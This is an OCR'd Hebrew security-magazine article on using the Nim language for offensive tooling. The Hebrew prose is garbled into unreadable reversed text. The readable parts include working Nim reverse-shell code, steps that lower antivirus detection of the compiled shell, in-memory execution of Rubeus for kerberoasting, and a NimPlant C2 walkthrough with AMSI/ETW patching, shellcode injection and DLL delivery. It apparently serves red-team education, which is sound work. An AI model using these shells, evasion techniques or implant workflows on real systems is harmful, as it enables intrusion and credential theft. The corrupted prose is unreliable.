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DTV NX7'OnIp Y¥an TX1 77NN N1N22a C 7w 71ma blob-7 Nim 7w Tipn N DAONN Y7"onipn e

:Nn2AIT? ,Obective-C-1 Javascript ,C++-7 N'¥7'90I17 |0 NI90N NI'NWON "IN YaIR'? 7wn'? GCC

~/nim
hello.nim

iLi/nim/hello. js

Hello, World!

AWKRN NIMITT NIDIN NN NP nwpn ,C/C++-7 nn'w' 79npnn Nim-w nTai1vn ,Opsec N1'Nan
NX7'oNIp-T NIWYY NI7pa N N ,CH yalp 'Run qpint nTna 7wun CH NMT NI
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https://github.com/icsharpcode/ILSpy
https://github.com/arnetheduck/nlvm
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DTN 7nYn

:NTIPON N1TYA Debian op11*72 N2 Nim DX |'7Nn? |NA

sudo apt install nim

:Arch 112y

sudo pacman -S nim

NTIPON N1V Windows 7w PE yali77 Tipn DX 79077 N o'

nim ¢ -d:mingw -cpu:amd64 myProgram.nim

:reverse shell-7 VIWS TIP MDY N2 NNITYL NIV N'YVINIPIT W' NOYY
import net

import osproc

let remoteHost = "
let remotePort = Port(8000)

proc main() =
var sock: Socket

try:
sock = newSocket()

sock.connect(remoteHost, remotePort)

while true:
let cmd = sock.recvLine()
let result = execProcess(cmd)
sock.send(result)
except:
echo "Failed to connect"”
defer:
sock.close()

main()

NN D'7TIA QUKD ,NNTA NN .YaIpn DX Doin Defender-n 17w nx NI yaipn 7190y WINKY? |2m>d

17T INIX NNTA (O X7 D'YIIN 190N ,VirusTotal-a yalpn

(} 25/70 security vendors and no sandboxes flagged this file as malicious
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b3ad3984dcc9f334d1d889efdcdelc37565aca040145d019f79f74bd5cTeb015

shell.exe
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https://nim-lang.org/documentation.html
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import net, osproc, strutils, os

let h =
let p = Port(8000)

proc m() =
var s: Socket

try:
s = newSocket()
s.connect(h, p)

while true:
let ¢ = s.recvLine().strip()
if ¢ = "exit":
s.send("Exiting..\n")
break
elif ¢ = "cd":
os.setCurrentDir("C:\\")

s.send("Changed directory to C:\\\n")
elif c.startswith("cd "):
let newDir = c.split(' ')[1]

try:
os.setCurrentDir(newDir)
s.send("Changed directory to " & newDir & "\n")
except OSError as e:
s.send("Error: " & repr(e) & "\n")
continue
else:
let result = execProcess(c)
s.send(result & "\n")
except:
echo "Failed to connect”
finally:
s.close()

:VirusTotal-2 2w pIT)

1 6 \ @ 16/69 security vendors and no sandboxes flagged this file as malicious
| 65

1b7a3186d73528c07f03b99578804f4a763c69748e8eBdaafdf01fd101abalal

shell_obf6.exe
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Score

.NNiA "1y 10nn D7IX, T 2T YalZn DX D'NTIY D'VIINN 150N

Unleashing the Power of Nim
www.DigitalWhisper.co.il
4 2024 11,162 1"




Technologic

NIMY 30-2 Y2l DXIN DX DNYWN WK NR717 9'on

let endTime = now() + 30.seconds
var 1 = 1

while now() < endTime:
discard

N'X722I9N AYUKRD 'NOIN NTN NX NAX'"N MUK now() N'¥71192 WNNwal times N'™90n NX §'0N

DX

NTN NMPNA) UXIN ATAMN [AT? DY IR (O now() 'NJIIN AT DRN ') [9IX2 NP TIA AR7I7D
11'RY NINWYN 7V 17790170 YW NIKANN Ny'In? nunwn discard nnynn .(N1mw 30 7w n'nwn

Niaavon "1 nt 22N ,0'WIMn 190N NX717N NIApPY2 NO50N NT' W' . Win'wa

\ @ 13/71 security vendors and no sandboxes flagged this file as malicious

1

71
1cB8d41c5514c010704f4e23be2a6282¢568e2d37d920b9c0baaal5663ebbT01b

shell_obfT.exe

Community PEEXE B4bits overlay
Score

PNIYYYT N1 TIV NN L,NXINN 7W DTRYWNTNTYPZOIDAINT 1ayn

NX NI5pPWN NITNNAN .Nim N'"19502 NI'¥21191 D'72ITIN% NI9N NI7HDN NN Yaipn 7v nitnnnn

:Nim Nndwa D' INXN NOWN 12l NIYYRAI9N , NNITXIN9N ,017ITIMN NinY

shell_obf7.exe nim
/usr/lib/: /lib/std/private/digitsutils.
/usr/1lib/ /lib/system/arithmetics.
/usr/1ib/ /1lib/system/comparisons.

/usr/lib/: 1/1lib/system/gc.
GCunrefNoCycle
/usr/1lib/ /lib/system/fatal.

.Nim nI1d>NN N5W NKX D2l 'IXI'AN YAl v NI'Y2215n1 N1ann 127 Niam |790'7 2D'NTYTN

7¥ NPNN DX NRYW? Nan 2y 71900 70N Nya 0N Wnnwn? Naw na'ayn o'-flag wr Nim-7

AXIMN NI YAl
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.(?7un% debugging symbols) "x1'an yalpnn v 10! Dal
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~/nim/nim

shell_obf9.

exe

~/nim/nim

shell_obf9.exe
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(D 7/71 security vendors and no sandboxes flagged this file as malicious
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shell_obf9.exe

peexe B4bits
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[#] shell_obfd.exe
04 05 06 07 05 0% 0A OB OC OD OE OF Decoded text

00 00 00 Mesvunnn M. ... @

72 6F 63 osproc.lol (775, Information >
20 60 TO 14) "p.errStream

0 6E &% == nil or. F
it el & ileHandleStream( o Replaced 21 occurrences of "nim”,

2 72 53 7 p.errStream) .han

20 21 3D dle != INVALID H

C 45 5 RNDLE _WVALUE® ...
00 00 00 m...... M., e [ox ]
72 6F &3 osproc.lol (774,

J 60 TO 14) ‘p.outStream

:sed NTIR9A |'91707 IX

~/nim/nim
shell_obf9.exe

~/nim/nim
shell_obf9.exe

~/nim/nim
shell_obf9.exe nim

~/nim/nim
shell_obf9.exe

:VT-22I¥ 71T2) NYd

@ 6/71 security vendors and no sandboxes flagged this file as malicious
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shell_obfd.exe

Community peoxe  Bebits
Score

D'viIn 25 NNIY7? Miynwn I9'Y ATy AT yalpn DR T (8%-3) oim 71 Jimn 6 750 o

217190170 210 DX NINT? NI772 1IN DNITNNN 7 1T 1'wn 197 .017NNnna

E Detect It Easy v3.09 [Windows 10 Version 2009] (x86_64)

File name

= | |C\Users\adminishell_obf3.exe

File type File size
PEG4 = 170.00 Kig

Scan Endianness Mode
Automatic > LE &4-bit
~ PER4

Operation system: Windows(Server 2003)[AMDg4, 64-bit, GUI]
Linker: GNU linker Id (GNU Binutils) (2.40)[GUIB4]
Compiler: Nim

Language: Minn
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Detect It Easy v3.09 [Windows 10 Version 2009] (x36_64)

File name

> | |Ci\WUsers\adminishel_obf9.exe

File type File size
PES4 - 170.00 Kig
Scan Endianness Mode
Automatic - LE 64-bit
* PEG4
Operation system: Windows(Server 2003)[AMD6G4, 64-bit, GUI]

Linker: GNU linker Id (GNU Binutils)(2.40)[GUIB4]

|9IX2 "ITTD nowYy AW QYUK AT 75 n'nmaw D'oN''vax W' ,Nim-2 ITT WIN'Y NWYIl NRN

10'02MT T 7V AT DX |NA] R lviby Y2l7n OX DA 'UNIVIXR

~/nim

hello.nim
echo "Hello, World!"

17T YAl DX D'TAY DTN 9 W'y AR 7917n0n Yalpn 7w VT-1 np'Tia

(D 9/71 security vendors and no sandboxes flagged this file as malicious

[T1
8be9e2521d352b212fhcfabe43ff3d25Tc96631735bb1d91b3809c965178h334
hello.exe
Community oK Babits
Score

'9pnn Nim oy pnwY

NIV Nim W DIY*N 2V YT TIR DNIRAAT 7Y Yo 700 Byt3bl33der 7w OffensiveNim 071non
2un ,(Windows API of Nim) Winim v 1j'va 0'00Iann 110

077 .NET Assemblies njatn e

PPID-Spoofing e

ETW & AMSI Patch e

Unhooks EDR hooks from ntdll.dll e

Shellcode Runners e
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https://github.com/byt3bl33d3r/OffensiveNim
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:NTIZON NIYXNNA winim DX |7

nimble install m

N7 WwWoN .Nim NIdNN NOWT? NIZan 7nin nimble .IN"® 7w DVO'OIFNA pip-7 NAIT nimble

.Nim 7w niMooI Ni7an qnwai 7017, |'pnin?

YNNI . |ND'T7 (D'N2 wn'? 1nimw) C# 7w X' yal? VIV execute assembly bin.nim 0*79n0n

.Nim 2w n¥1n yalpa iR qioval Rubeus Y702

import winim/clpr
import sugar

import strformat

# Just pops a message box... or does it? ;)

var buf: array[4608, byte] = [byte 0x4d,0x5a,0x90,0x0,0x3,0x0,0x0,0x0,08x4,0x0,08x0,0x0,8xff,8xff,0x0,0x0,0xb8,0x0,0x0, Ox

echo "[*] Installed .NET versions”
for v in clrVersions():
echo fmt" \--- {v}"

echo "\n"

echo ""

var assembly = load(buf)

dump assembly

#[

# I initially thought we couldn't use EntryPoint.Invoke() and the below code was my work around. Turns out I was wrong!
# See https://github.com/byt3bl33d3r/0ffensiveNim/issues/9

var dt = fromCLRVariant[string](assembly.EntryPoint.DeclaringType.ToString())

var mn = fromCLRVariant[string](assembly.EntryPoint.Name)

echo fmt"[*] EntryPoint.DeclaringType: '{dt}'"

echo fmt"[*] EntryPoint.MethodName: *{mn}""

var t = assembly.GetType(dt)

var flags = BindingFlags_Static or BindingFlags_Public or BindingFlags_InvokeMethod
@t.invoke(mn, flags, toCLRVariant([""], VT_BSTR)) # Passing an empty array

@t.invoke(mn, flags, toCLRVariant(["From Nim & .NET!"], VT_BSTR)) # Actually passing some args

1#

var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args

assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

qQroIn? A NIY P TIN DK MW D7 DMy (arr nINwN) Messagebox y'n Mipnn Tign

NTIPON MY Yalpn 7v N¥INN N2 0'0MIAX

var cmd: seq[string]
i 1 .. paramCount():
cmd.add(paramStr(i))

echo cmd
let arr = toCLRVariant(cmd, VT_BSTR)
t.invoke(mn, flags, clrArgs);
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https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim
https://github.com/GhostPack/Rubeus
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Al (V9MPON 2N LYNY) VOMIPON NXIN NYA NAWWY ATIPON NMIY 7Y D'VINIAX Y7NN TIZN

.(VT_BSTR no72a) .NET-7 oXINN UNIIDY DNIX

Powershell 09702 WNNWK 571 D'MA 1WN7 INIX 1'MN7 DN INR71 Rubeus DX 79077 iy vt

:CSharpToNimByteArray.psl :Xan

PS C:\Users\admin\Rubeus\bin\Debug> . .\CSharpToNimByteArray.psl
PS C:\Users\admin\Rubeus\bin\Debug> CSharpToNimByteArray .\Rubeus.exe

Converting .\Rubeus.exe
Result Written to .\Rubeus.exeNimByteArray.txt
PS C:\Users\admin\Rubeus\bin\Debug>

:Rubeus.exeNimByteArray.txt WA WTN Yalj72 NNNWI NNNN

var buf: array[5602784, byte] [byte 0x4D, A, 0x90,0x00...

:D"I'UN INKRYT X' TIpn .execute_assembly_bin.nim-7 nannn NX 9'on xan 17wa

winim/clr
sugar
strformat
os
var buf: array[502784, byte] [byte
Ox4D, 0x5A, 0x90, 0x00, 0X03 ,0x00, 0x00,0X00, . . .0X00,0x00,0x00, OX00,0Xx00, 0x00, 0x00 ]
echo "[*] Installed .NET versions"
v clrVersions():
echo fmt" \--- {v}"
echo "\n"

echo

var assembly = load(buf)
dump assembly

var cmd: seq[string]
i 1 .. paramCount():
cmd.add(paramStr(i))

echo cmd

var dt = fromCLRVariant[string](assembly.EntryPoint.DeclaringType.ToString())

var mn = fromCLRVariant[string](assembly.EntryPoint.Name)

var t assembly.GetType(dt)

var flags = BindingFlags_Static BindingFlags_Public BindingFlags_InvokeMethod

var arr = toCLRVariant(cmd, VT_BSTR)
t.invoke(mn, flags, arr)

Yalzn NX 7907

PS C:\Users\admin\Rubeus\bin\Debug> nim c release .\execute_assembly_binl.nim
used config file 'C:\Users\admin\Downloads\nim-2.0.0_x64\nim-2.0.0\config\nim.cfg’
used config file 'C:\Users\admin\Downloads\nim-2.0.0_x64\nim-2.0.0\config\config.nims"'

mm: orc; threads: on; opt: speed; options: -d:release
148142 Tines; 11.409s; 464.484MiB peakmem; proij: C:\Users\admin\Rubeus\bin\Debug\execute_assembly_binl.nim;
out: C:\Users\admin\Rubeus\bin\Debug\execute_assembly_binl.exe
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file:///C:/Afik/DigitalWhisper/Articles/MAGAZINE/162/CSharpToNimByteArray.ps1

YN pn NK7I

PS C:"-\I_Isers"-\adnﬂ'n"-\RubeL_Js"-\bin"-\DeEug:::- ."-\exgcute_assemb]y_b1'nl.exe kerberoast /format:hashcat
[*] Installed .NET versions
\-—- v4.0.30319

assembly = Rubeus, Version=1.0.0.0, Culture=neutral, PublickeyToken=null
@["kerberoast"”, "/format:hashcat"]

[*] Action: Kerberoasting

:0'WIM 71 1M 49 T 7Y DIt DYI'Y X727 7901 Rubeus W T

@ 49/71 security vendors and 1 sandbox flagged this file as malicious

d230a3b5el21924ec9fledbffdaa30ld8gbfleacebzb26b3828272b3938fa3ec

Rubeus.exe

Community assembly detect debug environment
Score

:Nim-2 q1oyw Rubeus 7w nonaa nim 21 nniyY

@ 21/72 security vendors and no sandboxes flagged this file as malicious

7211db6733d81688:08f783eaT3ac275156ec2cacaccl32c28e684dbldesd%d4

execute_assembly_binl.exe

Community P B4bits

Score

TI?7 NX¥POIDAIN 7wnY ,0'WIINN 190N NX N'N9NY7 NIN 7V NISON N0V YNNWNYT NIV [2md
7un'? NIy¥nNx2a N19¥N IX Y700 7w 719070 D0 v Imn
wun? o0 7w 7190 C# 7wy

https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt decrypt bin.nim

https://github.com/icyguider/Nimcrypt2
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https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim
https://github.com/icyguider/Nimcrypt2
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I 21 NiRD [1an oy Ineol

NimPlant .09 NI' 1221 Red Teaming "7'2aN2 win'wY TvIw Post Exploitation *72 Xin Nimplant
[INDT? NPATA ,D'NAR 7100, NITIRD VI (12D ,IXN19IW NIDIYNT7 NW 7V nmw'? nniv nizn' pson

9011 NITIDY I790'W 0901 D'71TIN NIN'D T 7V IMIX 2'NNYT [N 21T Y250 .TIvI

NIX DTV config.toml-7 n¥aro1Ipn yalp oW NX N7 W' (Github-2 nvNISN) NIPNNN NKY?

:MYN 7w IP-N NaImda yauyp

OO T < ToTTT TomTT

TE

hostname

ip = "

NMYA DX DN DN NNy

~/NimPlant
NimPlant.py server myfirstserver
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A light-weight stage 1 implant and C2 written in Nim and Python
By Cas van Cooten (@chvancooten)
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https://github.com/chvancooten/NimPlant
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:(next.js NNTY2 X TWK) RN Ul wim'y'? NNWOX ¢ w7

< C @ Q D 127.0.0.1:31337

KaliLinux # KaliTools « KaliDocs ¥ KaliForums < Kali NetHunter Exploit-DB Google Hacking DB Offsec

4 Home

A Home
Server

Downloads

Nimplants

A first-stage implant for adversarial operations

Nimplant is a lightweight stage-1implant and C2 started

sing the a ut the Github or more

ormation

©) View on GitHub W Follow me on Twitter

X22'"0102 NITIEO NXON '917N7 IR

p:56|NP1] NIMPLANT HELP
shown as [reguired] <optionals>.
) can be rum without parameters wvia the web UI.

[12 ne
Command arguments
u

Commands with (GUI

[directory] Change

NTIRON 1TV U]"'?Pﬁ TX QY D'X270 DX IX NYVD

python NimPlant.py compile all

~/NimPlant
NimPlant.py compile all

* *(# #
ok wk(H  ##

s ( *hkkkkhk
(I ok ke k ke dkkdkk | kkdk
8 sunnunnns khkkhkhkhkhkk *
L ¥k
B *kkkkkkk
I feses-4 * ok *kkk
B =1 *Hk kkkkkkkkk
HHEHHHE . Ak kkkk Rkkkkkhk
nnn feoe * *oke *hkkkk
feo:a:asssa: Jues:aes 38 *x *hkkk | hhkkkkk
I dedkdedede ek ke ke
s *hkkkhkhkhhh
ST % 4 ke ke ke dede &

S ok ke kkkeke ke

A light-weight stage 1 implant and C2 written in Nim and Python
By Cas van Cooten (@chvancooten)

Compiling .exe for NimPlant

Compiling self-deleting .exe for NimPlant

Compiling .dll for NimPlant

Compiling .bin for NimPlant

Done compiling! You can find compiled binaries in ‘client/bin/'.

.client/bin 2'N12 DIW DY NXNIY |'N1)
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:VT-adll-n nX pIT21

{D 19/71 security vendors and no sandboxes flagged this file as malicious

812139e231a27f1e980e4b32f5adBf606f3eTcaded418829b19638cc366e31bT

NimPlant.dll

.(Mw> 197 Do VR'N9N) Nimplant-7 01191 DY 2T YalPN DX NN D'VIIN 7Y NI2x 190N
| p |
v ni'pn2a vIa9? *7an “mimn inwn? Nim 79 nitnnnn DX NIWa WTN YaIR? yalzn DX 7'
| | | |

Yaipn

~/NimPlant/client/bin
NimPlant.dll nim

~/NimPlant/client/bin
NimPlant.dll NimPlantl.dll

~/NimPlant/client/bin
im/1lol NimPlant1.dll

IT X219 .Nim 7@ A7"onipn T 7V NINID AWK nimmain AYRAon NN X7 DRT NIYa
:NINN YIXAY (entry point) N0'2N NTIID NWNWN

~/NimPlant/client/bin

NimPlant1.dll nimmain

:VT-22I¥ 71T2) NYd

@ 4/73 security vendors and no sandboxes flagged this file as malicious

NS

-]
ad

db075944137a0caT4d08df1eb9Tecd0ef0dcfd799fTadeal 7f3382fb2daT23df

MimPlant1.dll

© In'miynwn n1IYa T 0WInn 1%0n

NTIPON NITYA 97NN TYA YaIZN 7¢ N¥INN NN 71721 D)

rundl132.exe .\NimPlantl.dll,Update
7
C:\Usershadmin> iwr http:// : .:8086/NimPlantl.dll Nimplantl.dll

C:\Users\admin> rundl132.exe .\NimPlantl.dll,KUpdate
C:\Users\admin>

p
p
p

-
>
.
p
5
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1QPNIN 7W N1dNY7 NWi 11727 DRN MWD TY 1T

El Nimplants

Home
Server

Downloads
1- Yh4Dcwam admin @ DESKTOP-KL2V3UF

Nimplants

NITIPO [I1AN Y07 NNWOX DY NWY pnann implant 1XYW NXM

E Nimplant #Yh4Dcwam

@ Information

[12/©5/2824 23:8@:56] > help

[12/@5/2024 23:00:56) NIMPLANT HELP

Command arguments shown as [required] <optional=.

Commands with (GUI) can be run without parameters via the web UI.

cancel Cancel all pending tasks.

cat [filename] Print a file's contents to the screen.

cd [directory] Change the working directory.

clear Clear the screen.

cp [source] [destination] Copy a file or directory.

curl [url] Get a webpage remotely and return the results.
download [remotefilepath] <localfilepath> Download a file from
env Get environment variables.

execute-assembly (GUI) <BYPASSAMSI=@> <BLOCKETW=8> [localfilepath] <ar
exit Exit the server, killing all NimPlants.

getAv List Antivirus / EDR products on target using WMI.
getDom Get the domain the target is joined to.

2IN'NA7 '70N7 shellcode N ™ WK shinject X'n N1*ayn NTIRO

select [id] Select another NimPlant.

shell [command] Execute a shell command.

(GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified
process's memory space using dynamic invocation.

sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant.

Unleashing the Power of Nim
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17N NN ,ATIZON DX YN UKD

Shinject: Inject and execute shellcode X

Execute shellcode in a selected target process using dynamic invocation.

© 0

Select shellcode file

>_ Execute

IX (sRDI -2 win'w T 2 xnw) NimPlant.bin yalpn 7wn? ,shellcode-n Dy yal 1n21 ntn 27wA

:ps NTIP9L WNNWN'? [N .PID T 2y 0'1on '70N2 N2 [1 INKYI donut YITN VP'N9N NITYA

[13/05/2024 13:47:19] > ps

[13/05/2024 13:47:22] PID NAME

4 System @
92 Registry 4
324 smss.exe 4
440 CSISS.exe 432

"N NIx? Explorer.exe 7w PID-21NM)

® 8672

Shinject: Inject and execute shellcode X

Execute shellcode in a selected target process using dynamic invocation.

File: NimPlant.bin

QNI qon implant 721 n¥NN DX

1- Yh4Dewam

2-ZKY65TSU

admin @ DESKTOP-KL2V3UF

admin @ DESKTOP-KL2V3UF

16
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https://github.com/monoxgas/sRDI
https://github.com/TheWover/donut

v
¥
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.Technoloqgi

:red team NI71Y92 77D 11T NXIS) TWK execute-assembly X'N NMIX71919 NTIRD

TuTT [UTIT Ut & WeUpagT TemoUTeIy anu TeTUITT TTe TeSUITS™
download [remotefilepath] <localfilepath> Download a file from NimPlant's disk to the NimPlant server.
env Get environment variables.

(GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] <arguments> Execute .NET assembly from memory.
AMSI/ETW patched by default. Loads the CLR.

exit Exit the server, killing all NimPlants.

,IND>'Ta NIN'w' .Net assemblies '¥aj7 n¥'n WK inline execute assembly 7w NdIn N7V NN

.endpoint NIANND IX 0N'I-'VIN NIWN 7Y IN'TA 7INNY NI 7y

117N NN NTIPON NX D'¥'IN UKD

Execute-Assembly: Execute .NET program

Execute a .NET (C#) program in-memory.
Caution: Running execute-assembly will load the CLR!

Select .NET binary

(v Patch AMSD (v Block ETW)

7w N¥IN7 DMK q'oINY N1 .etw YW Nn'oNl amsi 7w qpyn D2 y¥ann Lyalg N1'yvo oy In

}IMATA Yaln

Execute-Assembly: Execute .NET program X

Execute a .NET (C#) program in-memory.
Caution: Running execute-assembly will load the CLR!

File: Rubeus.exe

kerberoast /format:hashcat

(v Patch AMSD (v Block ETW)

>~ Execute

.0"opNN CH 73 7w qoIX - SharpCollection LZ"'IND2 WNNWN? [N
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INRXINN NN DRI ,NXINN INKY

[14/05/2024 00:57:42] > execute-assembly BYPASSAMSI=1 BLOCKETW=1 "/home/kali/NimPlant/server/
uploads/server-mgSnvMIW/Rubeus.exe" kerberoast /format:hashcat

[14/05/2024 00:57:44] Executing .NET assembly from memory..

[+] AMSI already patched!

[+] ETW already patched!

[*] Executing...

—

\ |

— )= e
I — /1 =M= =)
LN D)y — ] I —
(0 I P p— /1 ) — I/
v2.3.2

nid'o

N'IXN 178N NIBWNN NNKX 72 lisp-1 ADA ,|IN"9 "2 27¢7 [ItTnn Dy Nim n9wn NX ¥ Andreas Rumpf
2N NMTI9I91 N2, NIBYA 720 [IN'D :0IY DAY NNdINE NIAY DY DTA NIDNN D71y
77NN D'ARQ DY N2 NANDIY DDINN NI'AXY NTpnnn ADA ,NI7p2 N1anl kNP7 NINA
macros N2IYN1 NdNIN) DA 02N N7 TIZ WT07 NN N71>1 mavoxrnn lisp-1,7190 70

(nwma

0'N9N ND TV .Nim NT73 721 ,17RN NISYN NYITY ¢ NIINN'T DX A7WUNY NOY 1IX'7 N¥) 00TIX

.(Ethereum 2.0 71710N9 7w DIW") nimbus-eth2 XN N9WN 7w 2172 DN

TIN D'AY'N TYK D'9PIN 2172 NXIKN NNAX NOWNI N9NN 7V ndwn NX nw OffensiveNim VR'INON
0'712' 721 Nim M2 NINNK NISY 7w "NIPNmm"n DR 07310 72X C# Ik C-2 W'Y N9 NIRDL NIX
yoin OffensiveNim ,AnX0'a2 Nim-7 DNIYRPY D'OR'NON ['AN .0N'-'0IR NIDWN 7Y 17'an PInnY?

(02310 NINd '97) DIWRIN NIMIEAN |1

210" 21T NIN'O NNIY? M'oA% NIN'OY NSwA win'y |2 on'n ,Nim 11D N1VZ NOWA NI UKD
,N72U90N0 NN Nim T 7v 79n17w MK yalp KXN1 WK .N9WY7 N'7700 nion ' Ninn 7y y'awn?
Nim-7 MYpY 12T 75 DA™Y 0N'I-'0IR 'WIIN W' NIRTN NYAN 'S 72V . T'wnn [n'o nIinn 121N

JN'0'1A7 XY YaIn DX DA 1T NTONIVIN

:[123 0'9011 D"9PNN D'VFP'ND 1N0NI9 ,OffensiveNim niajpya
.Nim now 7y ooiann (C2) 7In M NIVNWNI7IN17 ' - Nimplant e
NOPIY ,N'om NIXa (syscalls) ndyn NIXMP 01507 WWORNN VR'NS - NimSyscallPacker e

JIN'T 11021

.NI0IMI 'N1*T [DINA NN NIRNPZ NNYYT 1190 - NimGetSyscallStub
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https://github.com/status-im/nimbus-eth2
https://github.com/S3cur3Th1sSh1t/NimGetSyscallStub
https://github.com/S3cur3Th1sSh1t/NimGetSyscallStub
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.10 NIDWN IRY7 *TD 0P 7Y NRIIONT N19¥NY7 Y7 - Nimcrypt2 e
:INd D'YTN D'ORZ'NS DONSNNYT DD'YNN 011
QW Nivpnn? Nim nowa PoCs-1 0172 77100 0UP'ND - Nimperiments

.07y 0ropNN 070 NIN'DY Nim NOW 7w NI71D'N NX D'N'ATA 17X D'OR'ND

NN

https://medium.com/@freegames16/evading-windows-defender-with-nim-56007c0372ff -

Evading Windows Defender with Nim

https://s3cur3thlsshit.github.io/Playing-with-OffensiveNim/ - Bypassing Windows

protection mechanisms & Playing with OffensiveNim

https://www.youtube.com/watch?v=119169qW2FA&ab channel=DanielLowrie - The

SECRET of NIM! - Creating RED TEAM TOOLS with Nim-Lang

https://trustfoundry.net/2021/03/01/writing-basic-offensive-tooling-in-nim/ - Writing Basic

Offensive Tooling in Nim

https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-

malware

https://www.youtube.com/watch?v=QWZJL1Ei Qg&ab channel=Flangvik - Checking out

NimPlant

https://www.youtube.com/watch?v=FBuTX6brrsA&ab channel=Prelude - Malware Dev with

Nim: A Case Study in NimPlant
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https://github.com/RePRGM/Nimperiments
https://github.com/RePRGM/Nimperiments
https://medium.com/@freegames16/evading-windows-defender-with-nim-56007c0372ff
https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/
https://www.youtube.com/watch?v=1l9169qW2FA&ab_channel=DanielLowrie
https://trustfoundry.net/2021/03/01/writing-basic-offensive-tooling-in-nim/
https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware
https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware
https://www.youtube.com/watch?v=QWZJL1Ei_Qg&ab_channel=Flangvik
https://www.youtube.com/watch?v=FBuTX6brrsA&ab_channel=Prelude

